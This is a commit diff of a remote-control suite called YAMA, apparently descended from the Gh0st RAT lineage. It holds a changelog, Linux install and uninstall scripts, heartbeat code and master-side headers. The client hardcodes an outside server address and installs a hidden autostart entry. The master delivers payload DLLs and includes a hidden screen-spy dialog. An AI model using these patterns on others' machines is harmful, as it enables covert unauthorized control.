* 修复: 非中文 Windows 系统乱码问题
**2026.03.27**
发布版本 v1.2.9
本版本强化网络安全新增连接限流、IP 白/黑名单,加固代理崩溃恢复,并带来 Linux 剪贴板同步及 V2 文件传输。
* 功能: 网络配置对话框IP 白/黑名单实时生效
* 功能: 可配置的连接限流DLL 请求限流、IP 封禁阈值可调)
* 功能: IP 历史记录对话框,查看授权 IP 登录历史
* 功能: 状态栏显示 MTBF/运行时间和授权到期日期
* 功能: 代理崩溃保护——5 分钟内 3 次崩溃自动切换普通模式
* 功能: 客户端搜索Ctrl+F快速搜索 IP、位置、计算机名
* 功能: 自动封禁异常 IP——60 秒内超过 15 次连接自动封禁 1 小时
* 功能: Proxy Protocol v2 支持FRP 代理后获取真实客户端 IP
* 功能: Linux 剪贴板同步和 V2 文件传输支持
* 功能: 右键菜单运行客户端程序
* 功能: 多层授权混淆支持
* 改进: 增强授权检查,添加 IP 封禁提示
* 改进: 支持主控程序以用户权限运行
* 改进: 大 DLL 自动使用 TinyRun 回退方案
* 改进: 最大数据包从 10MB 提升到 50MB
* 改进: mstsc 远程会话可读取用户注册表
* 改进: 授权码格式验证,过滤垃圾数据
* 修复: OnUserOfflineMsg 竞态条件导致主控崩溃
* 修复: 客户端请求 FRPC DLL 时 FrpcParam 丢失
* 修复: 远程桌面最小化时剪贴板误触发
* 修复: 操作进程对话框时主控崩溃
* 修复: 状态栏主机数量实时更新
* 修复: Linux `select()` 调用前未重置 timeval
---
[English, since 2025]
@@ -1061,3 +1123,65 @@ This release focuses on optimizing remote desktop toolbar experience, enhancing
* Fix: Race condition causes Linux client crash
* Fix: Incorrect remote control coordinates when screen is scaled
* Fix: GDI brush leak in CShellDlg::OnCtlColor
**2026.02.28**
Release v1.2.7
This release introduces the V2 file transfer protocol with C2C support, integrates a modern Web terminal, and extends Linux client capabilities.
* Feature: V2 file transfer protocol with support for files larger than 4GB
* Feature: C2C (client-to-client) direct file transfer, no master relay required
* Feature: Resumable file transfer with state persistence under `%TEMP%\FileTransfer\`
* Feature: SHA-256 file integrity verification
* Feature: Modern Web terminal based on WebView2 + xterm.js
* Feature: Linux client adds file management support
* Improve: Batch host list updates to reduce UI flicker
* Improve: V1/V2 protocol coexistence and auto-detection
* Improve: 77-byte V2 packet header with reserved fields for future extension
* Fix: Misc stability improvements around file dialog teardown
**2026.03.11**
Release v1.2.8
This release adds host online email notifications, enables remote audio playback, introduces the V2 license protocol, and improves multi-FRPS support.
* Feature: Host online email notification (SMTP configuration, keyword matching, right-click quick-add)
* Feature: Remote audio playback via WASAPI Loopback + Opus compression (~24:1 ratio)
* Feature: Multi-FRPS server simultaneous connection support
* Feature: Custom cursor display and tracking
* Feature: V2 license protocol with ECDSA signature
* Improve: Linux client screen compression algorithm tuning
* Improve: Encoding hardening for non-Chinese Windows hosts
* Fix: Mojibake on non-Chinese Windows systems
**2026.03.27**
Release v1.2.9
This release strengthens network security, adds connection rate limiting, introduces IP whitelisting / blacklisting, hardens proxy crash recovery, and brings Linux clipboard sync and V2 file transfer.
* Feature: Network configuration dialog with IP whitelist / blacklist, applied in real time
* Feature: Configurable connection rate limiting (DLL request throttle, IP ban threshold)
* Feature: IP history dialog showing authorized-IP login history
* Feature: Status bar displays MTBF / uptime and license expiry date
* Feature: Proxy crash protection — auto-fallback to direct mode after 3 crashes within 5 minutes
* Feature: Client search (Ctrl+F) — quick filter by IP, location, computer name
* Feature: Auto-ban abnormal IPs — 60s / 15-connection threshold triggers a 1-hour ban
* Feature: Proxy Protocol v2 support — recover real client IP behind FRP
* Feature: Linux clipboard sync and V2 file transfer support
* Feature: Right-click menu to run client program
* Feature: Multi-layer license obfuscation
* Improve: Authorization check tightened with IP ban hints
* Improve: Master can run with normal user privileges
* Improve: Large DLLs automatically fall back to TinyRun
* Improve: Max packet size raised from 10MB to 50MB
* Improve: mstsc remote sessions can read user registry hive
* Improve: Authorization code format validation, filters garbage input
* Fix: OnUserOfflineMsg race condition causing master crash
* Fix: FrpcParam lost when client requests FRPC DLL
* Fix: Minimized remote desktop falsely triggering clipboard handling
* Fix: Master crash when operating on the process dialog
* Fix: Status bar host count now updates in real time
* Fix: Linux `select()` timeval not being reset before each call

Binary file not shown.

Before

Width:  |  Height:  |  Size: 66 KiB

After

Width:  |  Height:  |  Size: 119 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 125 KiB

BIN
images/WebRemote.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 345 KiB

View File

@@ -261,7 +261,7 @@ loginctl show-session $(loginctl | grep $(whoami) | awk '{print $1}') -p Type
| `InstallTime` | 首次安装时间 | `1709856000` |
| `PublicIP` | 公网 IP 缓存 | `1.2.3.4` |
| `GeoLocation` | 地理位置缓存 | `北京市` |
| `QualityLevel` | 屏幕质量等级 | `-1` (自适应) |
| `QualityLevel` | 屏幕质量等级 | `2` (Good / H264 1080P) |
### 质量等级说明

View File

@@ -911,7 +911,14 @@ public:
// 加载保存的质量设置
void LoadQualitySettings()
{
m_qualityLevel = (int8_t)m_config.GetInt("QualityLevel", QUALITY_ADAPTIVE);
// Default to QUALITY_GOOD (H264 1080P) — same as Windows ScreenManager.cpp
// and the explicit hardcoded default in macos/ScreenHandler.mm. Using
// QUALITY_ADAPTIVE here told the controller's EvaluateQuality to auto-
// upgrade to Ultra/High (DIFF/RGB565), breaking web sessions whose
// browser decoder only handles H264. Web sessions also get a clamp on
// the server side as defense in depth; this default change ensures
// Linux clients don't request adaptive in the first place.
m_qualityLevel = (int8_t)m_config.GetInt("QualityLevel", QUALITY_GOOD);
Mprintf(">>> LoadQualitySettings: level=%d\n", m_qualityLevel);
// 如果有保存的具体等级,立即应用

152
linux/install.sh Executable file
View File

@@ -0,0 +1,152 @@
#!/usr/bin/env bash
# YAMA Ghost (Linux client) — install + autostart deployment
#
# 用法(在解压/克隆后的 linux/ 目录下):
# ./install.sh # 默认安装到 ~/.local/bin/ghost
# ./install.sh /opt/yama # 安装到 /opt/yama/ghost如需要会自动 sudo
#
# 行为:
# 1. 复制 ghost 二进制到目标位置并加可执行权
# 2. 注册 XDG Autostart~/.config/autostart/ghost.desktop
# 3. 可选立即启动一次(继承当前桌面会话的 X 环境)
set -euo pipefail
# ---- 防止以 root 直接运行 ----
# 用 sudo 跑会让 $HOME 变成 /root或 sudo 配置决定的值),
# autostart 写到 /root/.config/autostart/,桌面用户的 session 看不见,
# 自启动完全失效。需要 sudo 的地方(如装到 /opt/...),脚本会按需自调用 sudo。
if [[ "${EUID:-$(id -u)}" -eq 0 ]]; then
echo "请用普通用户身份运行此脚本,不要 sudo。" >&2
echo "如目标目录需要 root 权限,脚本会按需自动调用 sudo。" >&2
exit 1
fi
# ---- 颜色 ----
if [[ -t 1 ]]; then
C_RED=$'\033[31m'; C_GREEN=$'\033[32m'; C_YELLOW=$'\033[33m'
C_BLUE=$'\033[34m'; C_BOLD=$'\033[1m'; C_RESET=$'\033[0m'
else
C_RED=''; C_GREEN=''; C_YELLOW=''; C_BLUE=''; C_BOLD=''; C_RESET=''
fi
info() { echo "${C_BLUE}[INFO]${C_RESET} $*"; }
ok() { echo "${C_GREEN}[ OK ]${C_RESET} $*"; }
warn() { echo "${C_YELLOW}[WARN]${C_RESET} $*"; }
error() { echo "${C_RED}[FAIL]${C_RESET} $*" >&2; }
# ---- 路径解析 ----
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
SRC_BIN="${SCRIPT_DIR}/ghost"
# 安装目标目录(参数 $1默认 ~/.local/bin
INSTALL_DIR="${1:-${HOME}/.local/bin}"
DEST_BIN="${INSTALL_DIR}/ghost"
AUTOSTART_DIR="${XDG_CONFIG_HOME:-${HOME}/.config}/autostart"
AUTOSTART_FILE="${AUTOSTART_DIR}/ghost.desktop"
echo "${C_BOLD}YAMA Ghost Linux 安装${C_RESET}"
echo " 源: ${SRC_BIN}"
echo " 目标: ${DEST_BIN}"
echo " 自启动: ${AUTOSTART_FILE}"
echo ""
# ---- 前置检查 ----
if [[ ! -f "${SRC_BIN}" ]]; then
error "找不到 ghost 二进制 ${SRC_BIN}"
error "请把 install.sh 放在 ghost 同目录后再运行"
exit 1
fi
if ! file "${SRC_BIN}" 2>/dev/null | grep -q "ELF.*executable"; then
error "${SRC_BIN} 不是有效的 ELF 可执行文件"
exit 1
fi
# 判断目标目录是否需要 sudo
# 三种情况都要走 sudo 分支:
# a) 目录不存在且父目录无写权(如 /opt/yama 父是 /opt root-owned
# b) 目录已存在但当前用户无写权(如已存在的 /usr/local/bin root-owned
# c) 介于两者之间的情况由 mkdir 的退出码决定
NEED_SUDO=""
if [[ -d "${INSTALL_DIR}" ]]; then
[[ -w "${INSTALL_DIR}" ]] || NEED_SUDO="sudo"
else
if ! mkdir -p "${INSTALL_DIR}" 2>/dev/null; then
NEED_SUDO="sudo"
fi
fi
if [[ -n "${NEED_SUDO}" ]]; then
info "目标目录需要 root 权限,将使用 sudo可能需要输入密码"
${NEED_SUDO} mkdir -p "${INSTALL_DIR}"
fi
# ---- 1. 如已运行则先停止 ----
if pgrep -x ghost > /dev/null; then
warn "检测到 ghost 进程正在运行,先停止以替换二进制"
pkill -x ghost || true
sleep 1
if pgrep -x ghost > /dev/null; then
warn "进程未优雅退出,强制 kill"
pkill -9 -x ghost || true
sleep 1
fi
ok "旧进程已停止"
fi
# ---- 2. 复制二进制 ----
info "复制 ghost 到 ${DEST_BIN}"
${NEED_SUDO} install -m 0755 "${SRC_BIN}" "${DEST_BIN}"
ok "二进制已部署 (mode 0755)"
# ---- 3. 写 XDG Autostart 文件 ----
mkdir -p "${AUTOSTART_DIR}"
cat > "${AUTOSTART_FILE}" <<EOF
[Desktop Entry]
Type=Application
Name=YAMA Ghost
Comment=YAMA remote control client
Exec=${DEST_BIN}
Terminal=false
X-GNOME-Autostart-enabled=true
NoDisplay=true
StartupNotify=false
EOF
ok "Autostart 已注册"
# 验证 .desktop 格式(如果系统装了 desktop-file-validate
if command -v desktop-file-validate >/dev/null 2>&1; then
if desktop-file-validate "${AUTOSTART_FILE}" >/dev/null 2>&1; then
ok "Autostart 文件格式验证通过"
else
warn "desktop-file-validate 报告了警告,但通常不影响功能"
fi
fi
# ---- 4. 可选:立即启动 ----
echo ""
echo -n "${C_BOLD}是否立即启动 ghost验证 X 环境)?[Y/n]${C_RESET} "
read -r ans
if [[ -z "${ans}" || "${ans}" =~ ^[Yy]$ ]]; then
if [[ -z "${DISPLAY:-}" ]]; then
warn "当前 shell 没有 DISPLAY 变量,可能不在桌面会话内 — 启动后远控仍可能 0x0"
warn "建议在 GNOME 终端/桌面环境的终端里运行此脚本"
fi
nohup "${DEST_BIN}" >/dev/null 2>&1 &
sleep 1
if pgrep -x ghost > /dev/null; then
ok "ghost 已启动 (PID=$(pgrep -x ghost | head -1))"
else
error "启动失败,请手动跑 ${DEST_BIN} 看错误输出"
exit 1
fi
fi
echo ""
echo "${C_GREEN}${C_BOLD}✓ 安装完成${C_RESET}"
echo ""
echo "下次开机将自动启动;如需立即测试,重启或在桌面终端跑:"
echo " ${DEST_BIN}"
echo ""
echo "卸载请运行同目录的 ./uninstall.sh"

View File

@@ -47,6 +47,13 @@ CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_L
State g_bExit = S_CLIENT_NORMAL;
static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重发登录信息
// 上次收到 HeartbeatACK 的 wall-clock 时间戳(ms)0 表示新连接刚建立尚未喂初值。
// 心跳循环用它检测应用层超时TCP send() 永远不会因半死连接报错(数据塞进 SNDBUF
// 立即返回成功),必须靠 ACK 缺失来感知链路死亡。用 wall-clock 而非 monotonic
// VM/笔记本挂起期间 system_clock 继续推进,恢复后能立即识别"几分钟没收到 ACK"
// 这是相比 TCP_USER_TIMEOUT(内核层) 的关键互补价值。
static std::atomic<uint64_t> g_lastHeartbeatAckMs(0);
// 客户端 IDV2 文件传输需要)
uint64_t g_myClientID = 0;
@@ -390,6 +397,7 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
if (ulLength >= 1 + sizeof(HeartbeatACK)) {
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
uint64_t now = GetUnixMs();
g_lastHeartbeatAckMs.store(now, std::memory_order_relaxed); // 喂应用层 ACK 看门狗
double rtt_ms = (double)(now - ack->Time);
g_rttEstimator.update_from_sample(rtt_ms);
// 心跳节奏太密日志会刷屏;最多 60s 一行
@@ -778,8 +786,12 @@ static void daemonize()
}
// 信号处理:收到 SIGTERM/SIGINT 时优雅退出
// 注意handler 内不能调 MprintfLogger 用 mutex/string/condvar非 async-signal-safe
// 只在这里记 sig_atomic_t 标志位main 退出循环后再补一行日志。
static volatile sig_atomic_t g_lastSignal = 0;
static void signalHandler(int sig)
{
g_lastSignal = sig;
g_bExit = S_CLIENT_EXIT;
}
@@ -966,6 +978,9 @@ int main(int argc, char* argv[])
ClientAuth::OnNewConnection();
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
// 新连接:把 ACK 看门狗喂到当前时间,避免循环刚进来就被误判为超时
g_lastHeartbeatAckMs.store(GetUnixMs(), std::memory_order_relaxed);
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
// 检查是否需要重发登录信息(分组变更后)
@@ -1000,6 +1015,28 @@ int main(int argc, char* argv[])
break;
}
// 应用层 ACK 看门狗:超过 max(60s, interval*3) 没收到 HeartbeatACK 就
// 主动断开走重连。专治 TCP send() 在半死连接下永远返回成功的盲区——
// VM 挂起恢复 / 笔记本合盖唤醒 / NAT 表项老化等场景,对端早已不在,
// 但本端 send() 仍把字节塞进 SNDBUFIsConnected() 一直为真。
// 与服务端 CheckHeartbeat 超时(2015RemoteDlg.cpp 的 max(60, ReportInterval*3))
// 对齐:服务端删 host 时本端也能感知到,立即重连而不是等数据卡 ~15 分钟。
// 这一层不依赖 TCP_USER_TIMEOUT跨平台必备。
{
int ackTimeoutSec = (interval * 3 > 60) ? interval * 3 : 60;
const uint64_t ackTimeoutMs = (uint64_t)ackTimeoutSec * 1000ULL;
uint64_t lastAck = g_lastHeartbeatAckMs.load(std::memory_order_relaxed);
uint64_t nowMs = GetUnixMs();
if (lastAck > 0 && nowMs > lastAck && nowMs - lastAck > ackTimeoutMs) {
Mprintf(">>> Heartbeat ACK timeout: %llu ms since last ACK "
"(threshold=%llu ms), reconnecting\n",
(unsigned long long)(nowMs - lastAck),
(unsigned long long)ackTimeoutMs);
ClientObject->Disconnect();
break;
}
}
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
// ActiveWnd 直接发 UTF-8——与 LOGIN_INFOR.moduleVersion 中声明的
// CLIENT_CAP_UTF8 一致;服务端按 cap 位用 CP_UTF8 解码。早期为兼容
@@ -1027,6 +1064,14 @@ int main(int argc, char* argv[])
}
}
// 退出原因留痕signal handler 不能直接打日志,在这里补一行。
if (g_lastSignal != 0) {
Mprintf(">>> Exit by signal %d (g_bExit=%d)\n",
(int)g_lastSignal, (int)g_bExit);
} else {
Mprintf(">>> Exit normally (g_bExit=%d)\n", (int)g_bExit);
}
Logger::getInstance().stop();
removePidFile();
return 0;

121
linux/uninstall.sh Executable file
View File

@@ -0,0 +1,121 @@
#!/usr/bin/env bash
# YAMA Ghost (Linux client) — uninstall
#
# 用法:
# ./uninstall.sh # 默认从 ~/.local/bin/ghost 卸载
# ./uninstall.sh /opt/yama # 从指定目录卸载
# ./uninstall.sh --yes # 跳过确认(自动化场景)
#
# 行为(幂等 — 重复运行不会报错):
# 1. 停止运行中的 ghost 进程
# 2. 删除 XDG Autostart 文件
# 3. 删除已安装的二进制
# 4. 询问是否清理用户配置(~/.config/ghost
set -euo pipefail
# ---- 颜色 ----
if [[ -t 1 ]]; then
C_RED=$'\033[31m'; C_GREEN=$'\033[32m'; C_YELLOW=$'\033[33m'
C_BLUE=$'\033[34m'; C_BOLD=$'\033[1m'; C_RESET=$'\033[0m'
else
C_RED=''; C_GREEN=''; C_YELLOW=''; C_BLUE=''; C_BOLD=''; C_RESET=''
fi
info() { echo "${C_BLUE}[INFO]${C_RESET} $*"; }
ok() { echo "${C_GREEN}[ OK ]${C_RESET} $*"; }
warn() { echo "${C_YELLOW}[WARN]${C_RESET} $*"; }
error() { echo "${C_RED}[FAIL]${C_RESET} $*" >&2; }
# ---- 参数解析 ----
ASSUME_YES=0
INSTALL_DIR="${HOME}/.local/bin"
for arg in "$@"; do
case "${arg}" in
--yes|-y) ASSUME_YES=1 ;;
--help|-h)
# 头部注释覆盖标题/用法/行为 4 步,对应源文件第 2-13 行
sed -n '2,13p' "$0" | sed 's/^# \?//'
exit 0
;;
*) INSTALL_DIR="${arg}" ;;
esac
done
DEST_BIN="${INSTALL_DIR}/ghost"
AUTOSTART_FILE="${XDG_CONFIG_HOME:-${HOME}/.config}/autostart/ghost.desktop"
CONFIG_DIR="${XDG_CONFIG_HOME:-${HOME}/.config}/ghost"
confirm() {
[[ "${ASSUME_YES}" -eq 1 ]] && return 0
local prompt="$1"
local ans=""
echo -n "${prompt} [y/N] "
read -r ans || true # EOF on stdin: ans stays empty, 返回 no
[[ "${ans}" =~ ^[Yy]$ ]]
}
echo "${C_BOLD}YAMA Ghost Linux 卸载${C_RESET}"
echo " 二进制: ${DEST_BIN}"
echo " 自启动: ${AUTOSTART_FILE}"
echo " 配置: ${CONFIG_DIR}"
echo ""
if ! confirm "确认卸载?"; then
info "已取消"
exit 0
fi
# ---- 1. 停止进程 ----
if pgrep -x ghost > /dev/null; then
info "停止运行中的 ghost 进程"
pkill -x ghost || true
sleep 1
if pgrep -x ghost > /dev/null; then
warn "进程未优雅退出,强制 kill"
pkill -9 -x ghost || true
sleep 1
fi
ok "ghost 进程已停止"
else
info "没有运行中的 ghost 进程"
fi
# ---- 2. 删除 Autostart 文件 ----
if [[ -f "${AUTOSTART_FILE}" ]]; then
rm -f "${AUTOSTART_FILE}"
ok "已删除 ${AUTOSTART_FILE}"
else
info "Autostart 文件不存在(已卸载或未安装过)"
fi
# ---- 3. 删除二进制 ----
if [[ -f "${DEST_BIN}" ]]; then
if [[ -w "${DEST_BIN}" ]] || [[ -w "$(dirname "${DEST_BIN}")" ]]; then
rm -f "${DEST_BIN}"
ok "已删除 ${DEST_BIN}"
else
info "需要 sudo 才能删除 ${DEST_BIN}"
sudo rm -f "${DEST_BIN}"
ok "已删除 ${DEST_BIN}"
fi
# 如果安装目录是 ~/.local/bin 且现在空了,不删除(可能用户还有其它东西)
else
info "二进制不存在(已卸载或不在 ${INSTALL_DIR}"
fi
# ---- 4. 用户配置目录(询问,不主动删)----
if [[ -d "${CONFIG_DIR}" ]]; then
echo ""
warn "用户配置目录仍存在:${CONFIG_DIR}"
warn "其中可能包含 PID 文件、日志等。删除后无法恢复。"
if confirm " 一并删除配置目录?"; then
rm -rf "${CONFIG_DIR}"
ok "已删除 ${CONFIG_DIR}"
else
info "保留配置目录"
fi
fi
echo ""
echo "${C_GREEN}${C_BOLD}✓ 卸载完成${C_RESET}"

View File

@@ -604,9 +604,13 @@ static void fillLoginInfo(LOGIN_INFOR& info)
// ============== Signal Handling ==============
// 注意signal handler 内不能调 NSLog/MprintfNSLog 走 Foundation 锁,
// Mprintf 走 Logger mutex/condvar都不是 async-signal-safe。只在这里
// 记 sig_atomic_t 标志位main 退出循环后再补一行日志。
static volatile sig_atomic_t g_lastSignal = 0;
static void signalHandler(int sig)
{
NSLog(@"Received signal %d, shutting down...", sig);
g_lastSignal = sig;
g_running = false;
g_bExit = S_CLIENT_EXIT; // 通知所有工作线程退出
}
@@ -934,6 +938,14 @@ int main(int argc, const char* argv[])
}
}
// 退出原因留痕signal handler 不能直接打日志,在这里补一行。
if (g_lastSignal != 0) {
Mprintf(">>> Exit by signal %d (g_bExit=%d)\n",
(int)g_lastSignal, (int)g_bExit);
} else {
Mprintf(">>> Exit normally (g_bExit=%d)\n", (int)g_bExit);
}
NSLog(@"Shutting down...");
// Release power assertions
@@ -944,6 +956,10 @@ int main(int argc, const char* argv[])
// Display assertion is managed by ScreenHandler (released in stop())
// powerActivity is automatically released when exiting @autoreleasepool
(void)powerActivity; // Suppress unused variable warning
// 显式停止日志,确保上面 Mprintf 的退出原因落盘。
// 不依赖 ~Logger() 的静态析构次序,避免后续新增日志相关静态对象时踩坑。
Logger::getInstance().stop();
}
return 0;

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -87,6 +87,9 @@ bool IsDateGreaterOrEqual(const char* date1, const char* date2);
// V2 文件传输协议分界日期(>= 此日期的客户端支持 V2
#define FILE_TRANSFER_V2_DATE "Feb 27 2026"
// 大于此日期客户端支持更大的内存DLL
#define DLL_8MB_DATE "Apr 12 2026"
// 前向声明
class CMy2015RemoteDlg;
extern CMy2015RemoteDlg* g_2015RemoteDlg;
@@ -216,11 +219,15 @@ public:
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
uint64_t resumeTransferID, const std::map<uint32_t, uint64_t>& startOffsets, const std::string& targetDir = "");
void HandleFileResumeRequest(CONTEXT_OBJECT* ctx, const BYTE* data, size_t len);
BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, int payloadType, bool is64Bit);
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
Buffer* m_TinyRun[PAYLOAD_MAXTYPE] = {};
MasterSettings m_settings;
// 缓存上次检测到的上级 FRP 配置([settings] FrpConfig由定时器检测外部模块写入的变更。
// 检出变更后会热切换 FRPC首次=启动 / 覆盖=重启 / 撤销=停止),并在主对话框信息列表中给出友好提示。
std::string m_lastSeenFrpConfig;
void CheckUpperFrpConfigChange();
static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
int AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
@@ -234,6 +241,77 @@ public:
// 用于在收到 JPEG 后调用 SetImageFromJpegDeletePopupWindow 释放时一并置空。
class CPreviewTipWnd* m_pPreviewTip = nullptr;
WORD m_PreviewReqId = 0; // 当前期待的预览响应序号0 = 无待响应
// 屏幕预览响应消息载荷PostMessage WM_PREVIEW_RESPONSE 的 LPARAM 指向它)。
// IO 线程在 MessageHandle/TOKEN_SCREEN_PREVIEW_RSP 分支堆分配UI 线程消费后释放。
// 把 clientId 放进来是为了1) 循环快照场景按 clientId 路由到目标窗口;
// 2) 避免依赖 WPARAM —— 32 位 Windows 上 WPARAM 是 32 位,截 64 位 clientID。
struct PreviewRspMsg {
uint64_t clientId;
std::vector<BYTE> packet;
};
// "播放快照"循环模式:每个表项对应一台主机的浮窗 + 调度状态。
// 仅 UI 线程访问(菜单 / OnTimer / OnPreviewResponse / OnUserOfflineMsg /
// OnLoopTipDestroyed / Release不加锁context* 走 FindHost 在 m_cs 下取。
struct LoopTipEntry {
class CPreviewTipWnd* tip = nullptr;
WORD expectedReqId = 0; // 上次发请求时写入;响应时校验
WORD maxWidth = 480;
BYTE jpegQuality = 70;
};
std::map<uint64_t, LoopTipEntry> m_LoopTips;
WORD m_LoopReqId = 0; // 循环快照专用 reqId与 m_PreviewReqId 解耦
static const int LOOP_INTERVAL_MS = 3000; // 循环快照间隔(暂定 3 秒)
// 循环快照帮助函数(仅 UI 线程调用)
void OpenLoopTip(class context* ctx, CPoint anchor);
void CloseLoopTip(uint64_t clientID);
void CloseAllLoopTips();
void TickLoopTips();
void SendLoopRequest(uint64_t clientID, LoopTipEntry& entry);
afx_msg LRESULT OnLoopTipDestroyed(WPARAM wParam, LPARAM lParam);
// ===== 主机列表缩略图(在线列表第 0 列) =====
// 设计文档:纯主控端 UI 偏好,不进 MasterSettings 协议包。持久化走 THIS_CFG
// [thumbnail] 节。所有运行时状态仅 UI 线程访问。
struct ThumbnailSettings {
bool Enabled = true;
int RefreshIntervalSec = 30; // 单台主机的刷新周期
int ThumbWidth = 60; // 列表内显示宽度(高 = 9w/16
int NetReqWidth = 120; // 网络请求的源宽HiDPI 余量,>= ThumbWidth
int JpegQuality = 60; // 1..100
};
ThumbnailSettings m_ThumbnailCfg;
struct ThumbCacheEntry {
HBITMAP bmp = nullptr; // 预先缩到显示尺寸的 24bpp DIBBitBlt 友好
int w = 0;
int h = 0;
};
std::map<uint64_t, ThumbCacheEntry> m_HostThumbnails; // 缩略图缓存
std::map<uint64_t, DWORD> m_ThumbNextDueTick; // 下次到期 GetTickCount() 时间
std::set<uint64_t> m_ThumbnailPending; // 在飞的 clientId 集合
WORD m_ThumbnailReqId = 0; // 缩略图专用 reqId与 m_PreviewReqId / m_LoopReqId 解耦)
// 行高占位 ImageListCListCtrl 没有 SetRowHeight标准做法是装一个 1×rowH 的
// 空 ImageList 强行撑高行。关闭缩略图时换回 1×default或 detach让行高回缩。
CImageList m_thumbRowHeightImgList;
int m_thumbRowHeightApplied = 0; // 已应用的行高(避免重复创建)
// 一次性配置应用入口:加载/重新加载 m_ThumbnailCfg 后调用,处理:
// - 启动/停止 TIMER_THUMBNAIL_REFRESH
// - 列宽 / 行高 调整
// - 尺寸变化时丢弃旧缓存 HBITMAP
void ApplyThumbnailSettings();
void LoadThumbnailSettingsFromCfg(); // 从 THIS_CFG 读到 m_ThumbnailCfg
void SaveThumbnailSettingsToCfg() const; // m_ThumbnailCfg 落盘到 THIS_CFG
void TickThumbnailRefresh(); // TIMER_THUMBNAIL_REFRESH 主循环
void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
void ClearThumbnailCacheEntry(uint64_t clientID);
void ClearAllThumbnailCache();
void InvalidateHostRow(uint64_t clientID); // 仅重绘对应行
// 记录 clientID心跳更新
std::set<uint64_t> m_DirtyClients;
// 待处理的上线/下线事件(批量更新减少闪烁)
@@ -286,7 +364,7 @@ public:
bool IsDllRequestLimited(const std::string& ip);
void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu;
CBitmap m_bmOnline[54]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons
CBitmap m_bmOnline[57]; // 21 original + 4 context menu + 2 tray menu + 25 main menu + 3 new menu icons + 1 snapshot
uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds;
FileTransformCmd m_CmdList;
@@ -438,6 +516,8 @@ public:
afx_msg void OnWhatIsThis();
afx_msg void OnOnlineAuthorize();
void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
// 单击缩略图列COL_THUMBNAIL命中时弹出循环监视窗口其余列保持默认行为
afx_msg void OnListSingleClick(NMHDR* pNMHDR, LRESULT* pResult);
// 屏幕预览:依 ctx 最近 RTT + 屏幕分辨率挑参数4K/超宽屏在 LAN 档自适应放大
void ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const;
// 发起预览请求reqId 应与 m_PreviewReqId 同步
@@ -460,6 +540,8 @@ public:
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnOnlineRunAsAdmin();
afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnTrialRttAbuse(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnTrialWanIpAbuse(WPARAM wParam, LPARAM lParam);
afx_msg void OnMainWallet();
afx_msg void OnMainNetwork();
afx_msg void OnToolRcedit();
@@ -494,6 +576,7 @@ public:
afx_msg void OnParamEnableLog();
afx_msg void OnParamPrivacyWallpaper();
afx_msg void OnParamFileV2();
afx_msg void OnParamThumbnailPreview();
afx_msg void OnParamRunAsUser();
void ProxyClientTcpPort(bool isStandard, bool autoRun=false);
afx_msg void OnProxyPort();
@@ -520,4 +603,7 @@ public:
afx_msg void OnCancelShare();
afx_msg void OnWebRemoteControl();
afx_msg void OnProxyPortAutorun();
afx_msg void OnScreenpreviewLoop();
afx_msg void OnMenuCompress();
afx_msg void OnMenuUncompress();
};

View File

@@ -246,6 +246,7 @@
<None Include="..\..\x64\Release\ServerDll.dll" />
<None Include="..\..\x64\Release\TestRun.exe" />
<None Include="..\..\x64\Release\TinyRun.dll" />
<None Include="..\web\index.html" />
<None Include="lang\en_US.ini" />
<None Include="lang\zh_TW.ini" />
<None Include="res\1.cur" />
@@ -333,6 +334,7 @@
<ClInclude Include="HideScreenSpyDlg.h" />
<ClInclude Include="HostInfo.h" />
<ClInclude Include="InputDlg.h" />
<ClInclude Include="ZstaPickerDlg.h" />
<ClInclude Include="IOCPKCPServer.h" />
<ClInclude Include="IOCPServer.h" />
<ClInclude Include="IOCPUDPServer.h" />
@@ -458,6 +460,7 @@
<ClCompile Include="file\CFileTransferModeDlg.cpp" />
<ClCompile Include="HideScreenSpyDlg.cpp" />
<ClCompile Include="InputDlg.cpp" />
<ClCompile Include="ZstaPickerDlg.cpp" />
<ClCompile Include="IOCPKCPServer.cpp" />
<ClCompile Include="IOCPServer.cpp" />
<ClCompile Include="IOCPUDPServer.cpp" />
@@ -524,7 +527,9 @@
<Image Include="res\Bitmap\AuthGen.bmp" />
<Image Include="res\Bitmap\authorize.bmp" />
<Image Include="res\Bitmap\Backup.bmp" />
<Image Include="res\bitmap\bitmap9.bmp" />
<Image Include="res\Bitmap\CancelShare.bmp" />
<Image Include="res\bitmap\compress.bmp" />
<Image Include="res\Bitmap\delete.bmp" />
